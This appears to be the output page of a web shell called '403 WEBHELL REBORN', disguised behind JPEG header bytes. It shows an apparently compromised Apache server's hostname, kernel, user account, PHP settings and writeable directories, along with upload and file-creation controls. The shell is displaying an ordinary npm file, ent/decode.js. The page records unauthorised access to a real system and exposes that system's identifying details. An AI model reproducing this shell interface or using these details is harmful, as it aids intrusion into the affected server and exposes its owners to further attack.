ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/www/node_services/apimetaexamepopular/node_modules/ent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //var/www/node_services/apimetaexamepopular/node_modules/ent/decode.js
'use strict';

var punycode = require('punycode/');
var $encode = punycode.ucs2.encode;

var regexTest = require('safe-regex-test');
var callBound = require('call-bound');
var $TypeError = require('es-errors/type');

var entities = require('./entities.json');

var endsInSemicolon = regexTest(/;$/);

var $replace = callBound('String.prototype.replace');
var $exec = callBound('RegExp.prototype.exec');
var $parseInt = parseInt;

module.exports = function decode(str) {
    if (typeof str !== 'string') {
        throw new $TypeError('Expected a String');
    }

    return $replace(str, /&(#?[^;\W]+;?)/g, function (_, match) {
        var m = $exec(/^#(\d+);?$/, match);
        if (m) {
            return $encode([$parseInt(m[1], 10)]);
        }
        var m2 = $exec(/^#[Xx]([A-Fa-f0-9]+);?/, match);
        if (m2) {
            return $encode([$parseInt(m2[1], 16)]);
        }
        // named entity
        var hasSemi = endsInSemicolon(match);
        var withoutSemi = hasSemi ? $replace(match, /;$/, '') : match;
        var target = entities[withoutSemi] || (hasSemi && entities[match]);

        if (typeof target === 'number') {
            return $encode([target]);
        } else if (typeof target === 'string') {
            return target;
        }
        return '&' + match;

    });
};

Anon7 - 2021